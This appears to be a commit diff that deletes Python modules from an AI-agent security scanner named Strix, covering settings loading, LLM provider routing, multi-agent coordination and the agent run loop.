from pathlib import Path
from typing import TYPE_CHECKING, Any
from pydantic import AliasChoices, BaseModel
from strix.config.settings import Settings
if TYPE_CHECKING:
from pydantic.fields import FieldInfo
logger = logging.getLogger(__name__)
_DEFAULT_PATH: Path = Path.home() / ".strix" / "cli-config.json"
_override: Path | None = None
_cached: Settings | None = None
def load_settings() -> Settings:
"""Resolve settings from env + JSON file + defaults. Memoized.
Precedence: env vars win, then the JSON file, then field defaults.
"""
global _cached # noqa: PLW0603
if _cached is None:
source_path = _override or _DEFAULT_PATH
init_kwargs: dict[str, Any] = _read_json_overrides(source_path)
_cached = Settings(**init_kwargs)
logger.debug(
"load_settings: resolved (override=%s, file_used=%s, json_keys=%d)",
_override is not None,
source_path.exists(),
sum(len(v) for v in init_kwargs.values()),
)
return _cached
def apply_config_override(path: Path) -> None:
"""Switch the JSON source to ``path`` and invalidate the cache."""
global _override, _cached # noqa: PLW0603
_override = path
_cached = None
logger.info("config override applied: %s", path)
def persist_current() -> None:
"""Write currently-set env vars to the active config file (0o600)."""
s = load_settings()
target = _override or _DEFAULT_PATH
target.parent.mkdir(parents=True, exist_ok=True)
env_block: dict[str, str] = {}
for sub_name in s.model_fields:
sub_model = getattr(s, sub_name)
if not isinstance(sub_model, BaseModel):
continue
for finfo in type(sub_model).model_fields.values():
for alias in _aliases_for(finfo):
value = os.environ.get(alias.upper())
if value:
env_block[alias.upper()] = value
break
target.write_text(json.dumps({"env": env_block}, indent=2), encoding="utf-8")
with contextlib.suppress(OSError):
target.chmod(0o600)
def _aliases_for(finfo: FieldInfo) -> list[str]:
"""Collect every env-var name that should populate ``finfo``."""
aliases: list[str] = []
if finfo.alias:
aliases.append(finfo.alias)
va = finfo.validation_alias
if isinstance(va, AliasChoices):
aliases.extend(c for c in va.choices if isinstance(c, str))
elif isinstance(va, str):
aliases.append(va)
return aliases
def _read_json_overrides(path: Path) -> dict[str, dict[str, Any]]:
"""Read ``{"env": {...}}`` from ``path`` and remap to nested kwargs.
Only includes keys whose env var is NOT already set, so env always
wins over the persisted file.
"""
if not path.exists():
return {}
try:
data = json.loads(path.read_text(encoding="utf-8"))
except (json.JSONDecodeError, OSError):
return {}
env_block = data.get("env", {}) if isinstance(data, dict) else {}
if not isinstance(env_block, dict):
return {}
env_block_upper = {str(k).upper(): v for k, v in env_block.items()}
nested: dict[str, dict[str, Any]] = {}
for sub_name, sub_finfo in Settings.model_fields.items():
sub_cls = sub_finfo.annotation
if not (isinstance(sub_cls, type) and issubclass(sub_cls, BaseModel)):
continue
sub_data: dict[str, Any] = {}
for fname, finfo in sub_cls.model_fields.items():
for alias in _aliases_for(finfo):
key = alias.upper()
if key in os.environ:
break # env wins; skip JSON for this field
if key in env_block_upper:
sub_data[fname] = env_block_upper[key]
break
if sub_data:
nested[sub_name] = sub_data
return nested
-272
View File
@@ -1,272 +0,0 @@
"""SDK model configuration helpers."""
from __future__ import annotations
import os
from typing import TYPE_CHECKING
from agents import set_default_openai_api, set_default_openai_key, set_tracing_disabled
from agents.models.multi_provider import MultiProvider
from agents.retry import (
ModelRetryBackoffSettings,
ModelRetrySettings,
retry_policies,
)
if TYPE_CHECKING:
from agents.models.interface import ModelProvider
from strix.config.settings import Settings
class StrixProvider(MultiProvider):
"""Route any non-OpenAI prefix through LiteLLM with the prefix preserved,
so users type ``deepseek/deepseek-chat`` rather than
``litellm/deepseek/deepseek-chat``.
"""
def _resolve_prefixed_model(
self,
*,
original_model_name: str,
prefix: str,
stripped_model_name: str | None,
) -> tuple[ModelProvider, str | None]:
if prefix in {"openai", "litellm", "any-llm"}:
return super()._resolve_prefixed_model(
original_model_name=original_model_name,
prefix=prefix,
stripped_model_name=stripped_model_name,
)
if prefix == "ollama" and stripped_model_name:
return self._get_fallback_provider("litellm"), f"ollama_chat/{stripped_model_name}"
return self._get_fallback_provider("litellm"), original_model_name
DEFAULT_MODEL_RETRY = ModelRetrySettings(
max_retries=5,
backoff=ModelRetryBackoffSettings(
initial_delay=2.0,
max_delay=90.0,
multiplier=2.0,
jitter=False,
),
policy=retry_policies.any(
retry_policies.provider_suggested(),
retry_policies.network_error(),
retry_policies.http_status((429, 500, 502, 503, 504)),
),
)
RECOMMENDED_MODEL_NAMES = (
"openai/gpt-5.5",
"openai/gpt-5.5-pro",
"openai/gpt-5.4",
"openai/gpt-5.4-pro",
"openai/gpt-5.3-codex",
"anthropic/claude-opus-4-8",
"anthropic/claude-sonnet-4-6",
"vertex_ai/gemini-3.1-pro-preview",
"gemini/gemini-3.1-pro-preview",
"xai/grok-4.3",
"deepseek/deepseek-v4-pro",
"deepseek/deepseek-reasoner",
"dashscope/qwen3-max-2026-01-23",
"moonshot/kimi-k2.7-code",
"moonshot/kimi-k2.6",
"mistral/mistral-medium-3-5",
"mistral/magistral-medium-latest",
)
_RECOMMENDED_MODEL_NAME_SET = frozenset(name.lower() for name in RECOMMENDED_MODEL_NAMES)
FRONTIER_MODEL_FAMILIES = (
(("azure", "azure_ai", "bedrock_mantle", "openai"), ("gpt-5",)),
(
("anthropic", "azure_ai", "bedrock", "claude", "databricks", "snowflake", "vertex_ai"),
("claude-opus-4", "claude-sonnet-4"),
),
(("google", "gemini", "vertex_ai"), ("gemini-3",)),
(("xai", "x-ai"), ("grok-4",)),
(("deepseek",), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
(("alibaba", "dashscope", "qwen"), ("qwen3.7", "qwen3.5", "qwen3-max")),
(("moonshot", "moonshotai", "kimi"), ("kimi-k2.7", "kimi-k2.6", "kimi-k2.5")),
(("mistral", "mistralai"), ("mistral-medium-3-5", "magistral-medium")),
)
def configure_sdk_model_defaults(settings: Settings) -> None:
"""Apply Strix config to SDK-native defaults."""
llm = settings.llm
set_tracing_disabled(True)
_configure_litellm_compatibility()
if llm.api_key:
set_default_openai_key(llm.api_key, use_for_tracing=False)
_configure_litellm_default("api_key", llm.api_key)
_mirror_api_key_to_provider_env(llm.model, llm.api_key)
if llm.api_base:
os.environ["OPENAI_BASE_URL"] = llm.api_base
_configure_litellm_default("api_base", llm.api_base)
set_default_openai_api("chat_completions")
else:
set_default_openai_api("responses")
def _mirror_api_key_to_provider_env(model_name: str | None, api_key: str) -> None:
if not model_name:
return
import litellm
name = model_name.strip()
for prefix in ("litellm/", "any-llm/"):
if name.lower().startswith(prefix):
name = name[len(prefix) :]
break
try:
report = litellm.validate_environment(model=name.lower())
except Exception: # noqa: BLE001
return
for env_key in report.get("missing_keys") or []:
if env_key.endswith("_API_KEY"):
os.environ.setdefault(env_key, api_key)
def _configure_litellm_compatibility() -> None:
"""Enable LiteLLM's permissive param handling and disable its callbacks."""
import litellm
litellm.drop_params = True
litellm.modify_params = True
litellm.turn_off_message_logging = True
litellm.disable_streaming_logging = True
litellm.suppress_debug_info = True
_register_litellm_cost_callback()
def _register_litellm_cost_callback() -> None:
import litellm
from strix.report.state import litellm_cost_callback
for bucket_name in ("success_callback", "_async_success_callback"):
bucket = getattr(litellm, bucket_name, None)
if not isinstance(bucket, list):
continue
if litellm_cost_callback in bucket:
continue
bucket.append(litellm_cost_callback)
def _configure_litellm_default(name: str, value: str) -> None:
"""Set LiteLLM's module-level defaults without adding a provider wrapper."""
import litellm
setattr(litellm, name, value)
def uses_chat_completions_tool_schema(model_name: str, settings: Settings) -> bool:
"""Return whether the resolved SDK route can only receive JSON function tools."""
model = model_name.strip().lower()
if "/" in model and not model.startswith("openai/"):
return True
if settings.llm.api_base:
return True
return not model_supports_reasoning(model_name)
def model_supports_reasoning(model_name: str) -> bool:
import litellm
name = model_name.strip().lower()
for prefix in ("litellm/", "any-llm/", "openai/"):
if name.startswith(prefix):
name = name[len(prefix) :]
break
entry = litellm.model_cost.get(name)
if entry is None and "/" in name:
entry = litellm.model_cost.get(name.rsplit("/", 1)[1])
return bool(entry and entry.get("supports_reasoning"))
def is_recommended_or_frontier_model(model_name: str) -> bool:
"""Return whether a model is recommended or in a frontier model family."""
name = _normalized_model_name(model_name)
if not name:
return False
if name in _RECOMMENDED_MODEL_NAME_SET:
return True
provider_name, bare_model_name = _split_model_provider(name)
return any(
_matches_frontier_family(provider_name, bare_model_name, provider_markers, prefixes)
for provider_markers, prefixes in FRONTIER_MODEL_FAMILIES
)
def _normalized_model_name(model_name: str) -> str:
name = model_name.strip().lower()
for prefix in ("litellm/", "any-llm/"):
if name.startswith(prefix):
name = name[len(prefix) :]
break
return name
def _split_model_provider(model_name: str) -> tuple[str | None, str]:
if "/" not in model_name:
return None, model_name
provider_name, bare_model_name = model_name.rsplit("/", 1)
return provider_name, bare_model_name
def _matches_frontier_family(
provider_name: str | None,
model_name: str,
provider_markers: tuple[str, ...],
model_prefixes: tuple[str, ...],
) -> bool:
if not _matches_model_prefix(model_name, model_prefixes):
return False
if provider_name is None:
return True
return _contains_provider_marker(
provider_name, provider_markers, split_compound_names=True
) or _contains_provider_marker(model_name, provider_markers)
def _matches_model_prefix(model_name: str, model_prefixes: tuple[str, ...]) -> bool:
return any(
candidate.startswith(prefix)
for candidate in _model_name_candidates(model_name)
for prefix in model_prefixes
)
def _model_name_candidates(model_name: str) -> tuple[str, ...]:
if "." not in model_name:
return (model_name,)
suffixes = tuple(
model_name.split(".", index)[-1] for index in range(1, model_name.count(".") + 1)
)
return (model_name, *suffixes)
def _contains_provider_marker(
value: str, provider_markers: tuple[str, ...], *, split_compound_names: bool = False
) -> bool:
parts = set(value.replace(".", "/").split("/"))
if split_compound_names:
for separator in ("_", "-"):
parts.update(piece for part in tuple(parts) for piece in part.split(separator))
return any(marker in parts for marker in provider_markers)
def is_known_openai_bare_model(model_name: str) -> bool:
import litellm
name = model_name.strip().lower()
if not name or "/" in name:
return False
entry = litellm.model_cost.get(name)
return bool(entry and entry.get("litellm_provider") == "openai")
-75
View File
@@ -1,75 +0,0 @@
"""Strix application settings — pydantic-settings powered."""
from __future__ import annotations
from typing import Literal
from pydantic import AliasChoices, Field
from pydantic_settings import BaseSettings, SettingsConfigDict
ReasoningEffort = Literal["none", "minimal", "low", "medium", "high", "xhigh"]
_BASE_CONFIG = SettingsConfigDict(
case_sensitive=False,
populate_by_name=True,
extra="ignore",
)
class LlmSettings(BaseSettings):
model_config = _BASE_CONFIG
model: str | None = Field(default=None, alias="STRIX_LLM")
api_key: str | None = Field(
default=None,
validation_alias=AliasChoices("LLM_API_KEY", "OPENAI_API_KEY"),
)
api_base: str | None = Field(
default=None,
validation_alias=AliasChoices(
"LLM_API_BASE",
"OPENAI_API_BASE",
"OPENAI_BASE_URL",
"LITELLM_BASE_URL",
"OLLAMA_API_BASE",
),
)
reasoning_effort: ReasoningEffort = Field(default="high", alias="STRIX_REASONING_EFFORT")
timeout: int = Field(default=300, alias="LLM_TIMEOUT")
class RuntimeSettings(BaseSettings):
model_config = _BASE_CONFIG
image: str = Field(
default="ghcr.io/usestrix/strix-sandbox:1.0.0",
alias="STRIX_IMAGE",
)
backend: str = Field(default="docker", alias="STRIX_RUNTIME_BACKEND")
# Hard cap on a local target's size before we refuse to stream it into the
# sandbox file-by-file (the SDK copies every file individually, which stalls
# on large repos). Above this, the user must bind-mount via ``--mount``.
# Set to 0 (or less) to disable the pre-flight check entirely.
max_local_copy_mb: int = Field(default=1024, alias="STRIX_MAX_LOCAL_COPY_MB")
class TelemetrySettings(BaseSettings):
model_config = _BASE_CONFIG
enabled: bool = Field(default=True, alias="STRIX_TELEMETRY")
class IntegrationSettings(BaseSettings):
model_config = _BASE_CONFIG
perplexity_api_key: str | None = Field(default=None, alias="PERPLEXITY_API_KEY")
class Settings(BaseSettings):
model_config = _BASE_CONFIG
llm: LlmSettings = Field(default_factory=LlmSettings)
runtime: RuntimeSettings = Field(default_factory=RuntimeSettings)
telemetry: TelemetrySettings = Field(default_factory=TelemetrySettings)
integrations: IntegrationSettings = Field(default_factory=IntegrationSettings)
-1
View File
@@ -1 +0,0 @@
"""Strix scan runtime core."""
-323
View File
@@ -1,323 +0,0 @@
"""SDK-native state for Strix's addressable agent graph."""
from __future__ import annotations
import asyncio
import json
import logging
import tempfile
from dataclasses import dataclass, field
from pathlib import Path
from typing import TYPE_CHECKING, Any, Literal, cast
if TYPE_CHECKING:
from agents.items import TResponseInputItem
from agents.memory import Session
logger = logging.getLogger(__name__)
Status = Literal["running", "waiting", "completed", "stopped", "crashed", "failed"]
@dataclass(slots=True)
class AgentRuntime:
session: Session | None = None
task: asyncio.Task[Any] | None = None
stream: Any | None = None
interrupt_on_message: bool = False
wake: asyncio.Event = field(default_factory=asyncio.Event)
class AgentCoordinator:
"""Single owner for graph state, SDK runtimes, messages, and resume snapshots."""
def __init__(self) -> None:
self.statuses: dict[str, Status] = {}
self.parent_of: dict[str, str | None] = {}
self.names: dict[str, str] = {}
self.metadata: dict[str, dict[str, Any]] = {}
self.pending_counts: dict[str, int] = {}
self.runtimes: dict[str, AgentRuntime] = {}
self._lock = asyncio.Lock()
self._snapshot_path: Path | None = None
self.is_shutting_down = False
self._budget_stopped = False
def set_snapshot_path(self, path: Path) -> None:
self._snapshot_path = path
def mark_shutting_down(self) -> None:
self.is_shutting_down = True
@property
def budget_stopped(self) -> bool:
return self._budget_stopped
async def trigger_budget_stop(self) -> None:
"""Signal a scan-wide budget stop and wake every parked agent so it exits."""
async with self._lock:
self._budget_stopped = True
for runtime in self.runtimes.values():
runtime.wake.set()
async def register(
self,
agent_id: str,
name: str,
parent_id: str | None,
*,
task: str | None = None,
skills: list[str] | None = None,
) -> None:
async with self._lock:
self.statuses[agent_id] = "running"
self.parent_of[agent_id] = parent_id
self.names[agent_id] = name
self.pending_counts.setdefault(agent_id, 0)
self.metadata[agent_id] = {
"task": task or "",
"skills": list(skills or []),
}
self.runtimes.setdefault(agent_id, AgentRuntime())
logger.info("agent.register %s (%s) parent=%s", agent_id, name, parent_id or "-")
await self._maybe_snapshot()
async def attach_runtime(
self,
agent_id: str,
*,
session: Session | None = None,
task: asyncio.Task[Any] | None = None,
interrupt_on_message: bool | None = None,
) -> None:
async with self._lock:
runtime = self.runtimes.setdefault(agent_id, AgentRuntime())
if session is not None:
runtime.session = session
if task is not None:
runtime.task = task
if interrupt_on_message is not None:
runtime.interrupt_on_message = interrupt_on_message
async def mark_running(self, agent_id: str) -> None:
async with self._lock:
if agent_id in self.statuses:
self.statuses[agent_id] = "running"
await self._maybe_snapshot()
async def park_waiting(self, agent_id: str) -> None:
await self.set_status(agent_id, "waiting")
async def set_status(self, agent_id: str, status: Status | str) -> None:
async with self._lock:
if agent_id not in self.statuses:
return
self.statuses[agent_id] = status # type: ignore[assignment]
runtime = self.runtimes.setdefault(agent_id, AgentRuntime())
runtime.wake.set()
logger.info("agent.status %s=%s", agent_id, status)
await self._maybe_snapshot()
async def send(self, target_agent_id: str, message: dict[str, Any]) -> bool:
"""Deliver a user/peer message by appending it to the target SDK session."""
async with self._lock:
if target_agent_id not in self.statuses:
logger.debug("agent.send dropped unknown target=%s", target_agent_id)
return False
runtime = self.runtimes.setdefault(target_agent_id, AgentRuntime())
session = runtime.session
stream = runtime.stream
interrupt = runtime.interrupt_on_message
if session is None:
logger.warning(
"agent.send dropped target=%s because its SDK session is not attached",
target_agent_id,
)
return False
try:
await session.add_items([self._message_to_session_item(message)])
except Exception:
logger.exception(
"agent.send failed to append to SDK session target=%s",
target_agent_id,
)
return False
async with self._lock:
self.pending_counts[target_agent_id] = self.pending_counts.get(target_agent_id, 0) + 1
self.runtimes.setdefault(target_agent_id, AgentRuntime()).wake.set()
if stream is not None and interrupt:
stream.cancel(mode="immediate")
await self._maybe_snapshot()
return True
async def wait_for_message(self, agent_id: str) -> None:
while True:
async with self._lock:
if self._budget_stopped or self.pending_counts.get(agent_id, 0) > 0:
return
wake = self.runtimes.setdefault(agent_id, AgentRuntime()).wake
wake.clear()
await wake.wait()
async def consume_pending(
self,
agent_id: str,
*,
include_items: bool = False,
) -> tuple[int, list[Any]]:
async with self._lock:
count = self.pending_counts.get(agent_id, 0)
self.pending_counts[agent_id] = 0
session = self.runtimes.get(agent_id, AgentRuntime()).session
if count <= 0:
return 0, []
await self._maybe_snapshot()
if not include_items or session is None:
return count, []
items = await session.get_items()
return count, list(items[-count:])
async def request_stop(self, agent_id: str) -> None:
async with self._lock:
if agent_id not in self.statuses:
return
self.statuses[agent_id] = "stopped"
runtime = self.runtimes.setdefault(agent_id, AgentRuntime())
runtime.wake.set()
stream = runtime.stream
if stream is not None:
stream.cancel(mode="after_turn")
await self._maybe_snapshot()
async def cancel_descendants(self, agent_id: str) -> None:
tasks = []
async with self._lock:
for aid in reversed(self._subtree_order_locked(agent_id)):
task = self.runtimes.get(aid, AgentRuntime()).task
if task is not None and not task.done():
tasks.append(task)
for task in tasks:
task.cancel()
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
async def cancel_descendants_graceful(self, agent_id: str) -> None:
async with self._lock:
order = self._subtree_order_locked(agent_id)
for aid in reversed(order):
await self.request_stop(aid)
await self._maybe_snapshot()
async def attach_stream(
self,
agent_id: str,
stream: Any,
) -> None:
async with self._lock:
self.runtimes.setdefault(agent_id, AgentRuntime()).stream = stream
async def detach_stream(
self,
agent_id: str,
stream: Any,
) -> None:
async with self._lock:
runtime = self.runtimes.setdefault(agent_id, AgentRuntime())
if runtime.stream is stream:
runtime.stream = None
async def active_agents_except(self, agent_id: str) -> list[dict[str, Any]]:
async with self._lock:
return [
{
"agent_id": aid,
"name": self.names.get(aid, aid),
"status": status,
"parent_id": self.parent_of.get(aid),
}
for aid, status in self.statuses.items()
if aid != agent_id and status in {"running", "waiting"}
]
async def graph_snapshot(
self,
) -> tuple[dict[str, str | None], dict[str, Status], dict[str, str]]:
async with self._lock:
return dict(self.parent_of), dict(self.statuses), dict(self.names)
def _message_to_session_item(self, message: dict[str, Any]) -> TResponseInputItem:
sender = str(message.get("from", "unknown"))
content = str(message.get("content", ""))
if sender == "user":
return cast("TResponseInputItem", {"role": "user", "content": content})
sender_name = self.names.get(sender, sender)
msg_type = message.get("type", "information")
priority = message.get("priority", "normal")
return cast(
"TResponseInputItem",
{
"role": "user",
"content": (
f"[Message from {sender_name} ({sender}) | type={msg_type} "
f"| priority={priority}]\n{content}"
),
},
)
def _subtree_order_locked(self, agent_id: str) -> list[str]:
queue = [agent_id]
order: list[str] = []
while queue:
aid = queue.pop()
order.append(aid)
queue.extend(child for child, parent in self.parent_of.items() if parent == aid)
return order
async def snapshot(self) -> dict[str, Any]:
async with self._lock:
return {
"statuses": dict(self.statuses),
"parent_of": dict(self.parent_of),
"names": dict(self.names),
"metadata": {aid: dict(md) for aid, md in self.metadata.items()},
"pending_counts": dict(self.pending_counts),
}
async def restore(self, snap: dict[str, Any]) -> None:
async with self._lock:
self.statuses = dict(snap.get("statuses", {}))
self.parent_of = dict(snap.get("parent_of", {}))
self.names = dict(snap.get("names", {}))
self.metadata = {aid: dict(md) for aid, md in snap.get("metadata", {}).items()}
self.pending_counts = dict(snap.get("pending_counts", {}))
for aid in self.statuses:
self.runtimes.setdefault(aid, AgentRuntime())
async def _maybe_snapshot(self) -> None:
path = self._snapshot_path
if path is None:
return
try:
data = await self.snapshot()
payload = json.dumps(data, ensure_ascii=False, default=str)
path.parent.mkdir(parents=True, exist_ok=True)
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
dir=str(path.parent),
prefix=f".{path.name}.",
suffix=".tmp",
delete=False,
) as tmp:
tmp.write(payload)
tmp_path = Path(tmp.name)
tmp_path.replace(path)
except Exception:
logger.exception("coordinator snapshot to %s failed", path)
def coordinator_from_context(ctx: dict[str, Any]) -> AgentCoordinator | None:
coordinator = ctx.get("coordinator")
return coordinator if isinstance(coordinator, AgentCoordinator) else None
-575
View File
@@ -1,575 +0,0 @@
"""Execution loop for addressable SDK-backed Strix agents."""
from __future__ import annotations
import asyncio
import contextlib
import logging
import uuid
from collections.abc import Callable
from typing import TYPE_CHECKING, Any, cast
from agents import RunConfig, Runner
from agents.exceptions import AgentsException, MaxTurnsExceeded, UserError
from agents.sandbox.errors import ExecTransportError
from docker import errors as docker_errors # type: ignore[import-untyped, unused-ignore]
from openai import APIError
from strix.core.hooks import BudgetExceededError
from strix.core.inputs import child_initial_input
from strix.core.sessions import open_agent_session, strip_all_images_from_session
if TYPE_CHECKING:
from pathlib import Path
from agents.items import TResponseInputItem
from agents.lifecycle import RunHooks
from agents.memory import Session, SQLiteSession
from agents.result import RunResultBase
from strix.core.agents import AgentCoordinator, Status
logger = logging.getLogger(__name__)
StreamEventSink = Callable[[str, Any], None]
_INPUT_REJECTION_CODES = frozenset({400, 404, 422})
async def run_agent_loop(
*,
agent: Any,
initial_input: Any,
run_config: RunConfig,
context: dict[str, Any],
max_turns: int,
coordinator: AgentCoordinator,
agent_id: str,
interactive: bool,
session: Session | None = None,
start_parked: bool = False,
event_sink: StreamEventSink | None = None,
hooks: RunHooks[dict[str, Any]] | None = None,
) -> RunResultBase | None:
await coordinator.attach_runtime(
agent_id,
session=session,
interrupt_on_message=interactive,
)
result: RunResultBase | None = None
if not (start_parked and interactive):
if interactive:
result = await _run_cycle(
agent,
coordinator,
agent_id,
input_data=initial_input,
run_config=run_config,
context=context,
max_turns=max_turns,
session=session,
interactive=interactive,
event_sink=event_sink,
hooks=hooks,
)
else:
result = await _run_noninteractive_until_lifecycle(
agent,
coordinator,
agent_id,
initial_input=initial_input,
run_config=run_config,
context=context,
max_turns=max_turns,
session=session,
event_sink=event_sink,
hooks=hooks,
)
if not interactive:
return result
while True:
try:
await coordinator.wait_for_message(agent_id)
except asyncio.CancelledError:
return result
if coordinator.budget_stopped:
await coordinator.set_status(agent_id, "stopped")
raise BudgetExceededError("scan budget reached")
await coordinator.consume_pending(agent_id)
result = await _run_cycle(
agent,
coordinator,
agent_id,
input_data=[],
run_config=run_config,
context=context,
max_turns=max_turns,
session=session,
interactive=interactive,
event_sink=event_sink,
hooks=hooks,
)
async def spawn_child_agent(
*,
coordinator: AgentCoordinator,
factory: Any,
agents_db_path: Path,
sessions_to_close: list[SQLiteSession],
run_config: RunConfig,
max_turns: int,
interactive: bool,
parent_ctx: dict[str, Any],
name: str,
task: str,
skills: list[str],
parent_history: list[Any],
event_sink: StreamEventSink | None = None,
hooks: RunHooks[dict[str, Any]] | None = None,
) -> dict[str, Any]:
parent_id = parent_ctx.get("agent_id")
if not isinstance(parent_id, str):
raise TypeError("Parent agent_id missing from context")
child_id = uuid.uuid4().hex[:8]
child_agent = factory(name=name, skills=skills)
await coordinator.register(
child_id,
name,
parent_id,
task=task,
skills=skills,
)
await _start_child_runner(
parent_ctx=parent_ctx,
coordinator=coordinator,
agents_db_path=agents_db_path,
sessions_to_close=sessions_to_close,
run_config=run_config,
max_turns=max_turns,
interactive=interactive,
child_agent=child_agent,
child_id=child_id,
name=name,
parent_id=parent_id,
task=task,
initial_input=child_initial_input(
name=name,
child_id=child_id,
parent_id=parent_id,
task=task,
parent_history=parent_history,
),
event_sink=event_sink,
hooks=hooks,
)
return {
"success": True,
"agent_id": child_id,
"name": name,
"parent_id": parent_id,
"message": f"Spawned '{name}' ({child_id}) running in parallel.",
}
async def respawn_subagents(
*,
coordinator: AgentCoordinator,
factory: Any,
agents_db_path: Path,
sessions_to_close: list[SQLiteSession],
run_config: RunConfig,
max_turns: int,
interactive: bool,
parent_ctx: dict[str, Any],
root_id: str,
event_sink: StreamEventSink | None = None,
hooks: RunHooks[dict[str, Any]] | None = None,
) -> None:
async with coordinator._lock:
agents_snapshot = [
(aid, status, dict(coordinator.metadata.get(aid, {})))
for aid, status in coordinator.statuses.items()
]
candidates: list[tuple[str, str, str | None, dict[str, Any]]] = []
for aid, status, md in agents_snapshot:
if not interactive and status not in {"running", "waiting"}:
continue
if coordinator.parent_of.get(aid) is None or aid == root_id:
continue
md["_restored_status"] = status
candidates.append(
(
aid,
coordinator.names.get(aid, aid),
coordinator.parent_of.get(aid),
md,
)
)
for child_id, name, parent_id, md in candidates:
try:
restored_status = str(md.get("_restored_status") or "running")
start_parked = interactive and restored_status != "running"
if start_parked:
logger.warning(
"respawn %s (%s): starting parked from status=%s",
child_id,
name,
restored_status,
)
child_skills = list(md.get("skills") or [])
child_agent = factory(name=name, skills=child_skills)
await _start_child_runner(
parent_ctx=parent_ctx,
coordinator=coordinator,
agents_db_path=agents_db_path,
sessions_to_close=sessions_to_close,
run_config=run_config,
max_turns=max_turns,
interactive=interactive,
child_agent=child_agent,
child_id=child_id,
name=name,
parent_id=parent_id,
task=str(md.get("task", "")),
initial_input=[],
start_parked=start_parked,
event_sink=event_sink,
hooks=hooks,
)
logger.info(
"respawned %s (%s) parent=%s task_len=%d",
child_id,
name,
parent_id or "-",
len(md.get("task", "")),
)
except Exception:
logger.exception("respawn %s failed; marking crashed", child_id)
with contextlib.suppress(Exception):
await coordinator.set_status(child_id, "crashed")
async def _run_noninteractive_until_lifecycle(
agent: Any,
coordinator: AgentCoordinator,
agent_id: str,
*,
initial_input: Any,
run_config: RunConfig,
context: dict[str, Any],
max_turns: int,
session: Session | None,
event_sink: StreamEventSink | None,
hooks: RunHooks[dict[str, Any]] | None,
) -> RunResultBase | None:
"""Non-chat mode keeps running until finish_scan / agent_finish settles status."""
result: RunResultBase | None = None
input_data: Any = initial_input
invalid_final_outputs = 0
invalid_final_output_limit = max(1, max_turns)
while True:
if coordinator.budget_stopped:
await coordinator.set_status(agent_id, "stopped")
raise BudgetExceededError("scan budget reached")
result = await _run_cycle(
agent,
coordinator,
agent_id,
input_data=input_data,
run_config=run_config,
context=context,
max_turns=max_turns,
session=session,
interactive=False,
event_sink=event_sink,
hooks=hooks,
)
status = await _agent_status(coordinator, agent_id)
if status != "running":
return result
invalid_final_outputs += 1
logger.warning(
"agent %s produced non-lifecycle final output in non-interactive mode; "
"forcing tool continuation (%d/%d): %s",
agent_id,
invalid_final_outputs,
invalid_final_output_limit,
_final_output_preview(result),
)
if invalid_final_outputs >= invalid_final_output_limit:
await coordinator.set_status(agent_id, "crashed")
await _notify_parent_on_crash(coordinator, agent_id, "crashed")
raise MaxTurnsExceeded(
"Agent exhausted non-interactive recovery attempts without calling "
"finish_scan or agent_finish."
)
input_data = await _append_noninteractive_tool_required_message(
session=session,
context=context,
attempt=invalid_final_outputs,
limit=invalid_final_output_limit,
)
async def _run_cycle( # noqa: PLR0912, PLR0915
agent: Any,
coordinator: AgentCoordinator,
agent_id: str,
*,
input_data: Any,
run_config: RunConfig,
context: dict[str, Any],
max_turns: int,
session: Session | None,
interactive: bool,
event_sink: StreamEventSink | None,
hooks: RunHooks[dict[str, Any]] | None,
) -> RunResultBase | None:
image_strips = 0
while True:
try:
await coordinator.mark_running(agent_id)
stream = Runner.run_streamed(
agent,
input=input_data,
run_config=run_config,
context=context,
max_turns=max_turns,
session=session,
hooks=hooks,
)
await coordinator.attach_stream(agent_id, stream)
try:
try:
async for event in stream.stream_events():
if event_sink is not None:
try:
event_sink(agent_id, event)
except Exception:
logger.exception("stream event sink failed for %s", agent_id)
if stream.run_loop_exception is not None:
raise stream.run_loop_exception
except BudgetExceededError:
# A RuntimeError subclass: re-raise explicitly so it is never
# mistaken for the LiteLLM "after shutdown" race below.
raise
except RuntimeError as stream_exc:
if "after shutdown" not in str(stream_exc):
raise
logger.warning(
"Ignoring LiteLLM end-of-stream shutdown race for %s",
agent_id,
)
except (ExecTransportError, docker_errors.NotFound):
if not coordinator.is_shutting_down:
raise
logger.warning(
"Ignoring sandbox container error during teardown for %s",
agent_id,
exc_info=True,
)
finally:
await coordinator.detach_stream(agent_id, stream)
except BudgetExceededError as exc:
logger.info(
"agent %s reached the scan budget limit; stopping the scan: %s", agent_id, exc
)
await coordinator.set_status(agent_id, "stopped")
await coordinator.trigger_budget_stop()
raise
except Exception as exc:
if (
image_strips < 3
and session is not None
and getattr(exc, "status_code", None) in _INPUT_REJECTION_CODES
):
try:
stripped = await strip_all_images_from_session(session)
except Exception:
logger.exception("image-strip recovery failed for %s", agent_id)
stripped = False
if stripped:
image_strips += 1
logger.info(
"Stripped images from %s session after rejection; retrying (%d)",
agent_id,
image_strips,
)
input_data = []
continue
if not interactive:
raise
if isinstance(exc, MaxTurnsExceeded):
status: Status = "stopped"
elif isinstance(exc, UserError | AgentsException | APIError):
status = "failed"
else:
status = "crashed"
logger.exception("agent run failed for %s; parking as %s", agent_id, status)
await coordinator.set_status(agent_id, status)
await _notify_parent_on_crash(coordinator, agent_id, status)
if context.get("parent_id") is None and status in {"failed", "crashed"}:
raise
return None
else:
await _settle_run_result(coordinator, agent_id, interactive)
return stream
async def _settle_run_result(
coordinator: AgentCoordinator,
agent_id: str,
interactive: bool,
) -> None:
async with coordinator._lock:
current_status = coordinator.statuses.get(agent_id)
if current_status != "running":
return
if not interactive:
return
await coordinator.set_status(agent_id, "waiting")
async def _agent_status(coordinator: AgentCoordinator, agent_id: str) -> Status | None:
async with coordinator._lock:
return coordinator.statuses.get(agent_id)
def _final_output_preview(result: RunResultBase | None) -> str:
final_output = getattr(result, "final_output", None)
if final_output is None:
return "<none>"
text = str(final_output).replace("\n", " ").strip()
if not text:
return "<empty>"
return text[:300]
async def _append_noninteractive_tool_required_message(
*,
session: Session | None,
context: dict[str, Any],
attempt: int,
limit: int,
) -> list[dict[str, str]]:
finish_tool = "finish_scan" if context.get("parent_id") is None else "agent_finish"
message = (
"Your previous response ended the autonomous Strix run without a lifecycle tool call. "
"That is invalid in non-interactive mode; plain text final answers are ignored. "
"Continue immediately and call exactly one tool. "
f"If your work is complete, call {finish_tool}. "
"If you are blocked waiting for another agent, call wait_for_message. "
"Otherwise use the appropriate execution or planning tool. "
f"This is recovery attempt {attempt}/{limit}."
)
item = {"role": "user", "content": message}
if session is None:
return [item]
await session.add_items([cast("TResponseInputItem", item)])
return []
